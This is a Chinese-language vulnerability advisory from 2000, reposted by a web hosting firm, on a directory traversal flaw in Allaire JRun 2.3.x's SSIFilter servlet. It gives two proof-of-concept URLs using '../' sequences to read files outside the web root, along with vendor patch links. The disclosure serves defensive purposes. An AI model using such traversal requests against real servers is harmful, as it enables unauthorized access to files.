Allaire JRun 2.3 目录遍历漏洞

发布日期：2000-10-25
更新日期：2000-10-25

受影响系统：

Allaire JRun 2.3.x
- Sun Solaris 7.0
- Sun Solaris 2.6
- SGI IRIX 6.5
- RedHat Linux 6.1 sparc
- RedHat Linux 6.1 i386
- RedHat Linux 6.1 alpha
- RedHat Linux 6.0 sparc
- RedHat Linux 6.0 i386
- Microsoft Windows 98
- Microsoft Windows 95
- Microsoft Windows NT 4.0
- Microsoft Windows NT 2000
- IBM AIX 4.3
- IBM AIX 4.2

描述：

---

Allaire JRun 是JSP和Java Servlets开发套件。它存在一个漏洞允许远程用户访问
位于WWW根目录之外的文件。在这个恶意URL请求中使用SSIFilter servlet，并结合
"../"技术即可。SSIFilter servlet此时未能正确检查访问路径合法性。

<* 来源：Foundstone Labs (labs@foundstone.com) *>



测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://target/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../path/to/otgpdvt/filename

http://target/servlet/ssifilter/../../path/to/otgpdvt/filename



建议：

---

Allaire 提供了如下补丁：

Allaire JRun 2.3.x:

Allaire patch jr233p_ASB00_28_29
http://download.allaire.com/jrun/jr233p_ASB00_28_29.zip
Windows 95/98/NT/2000 and Windows NT Alpha

Allaire patch jr233p_ASB00_28_29tar
http://download.allaire.com/jrun/jr233p_ASB00_28_29.tar.gz
UNIX/Linux patch - GNU gzip/tar

文章整理：西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢!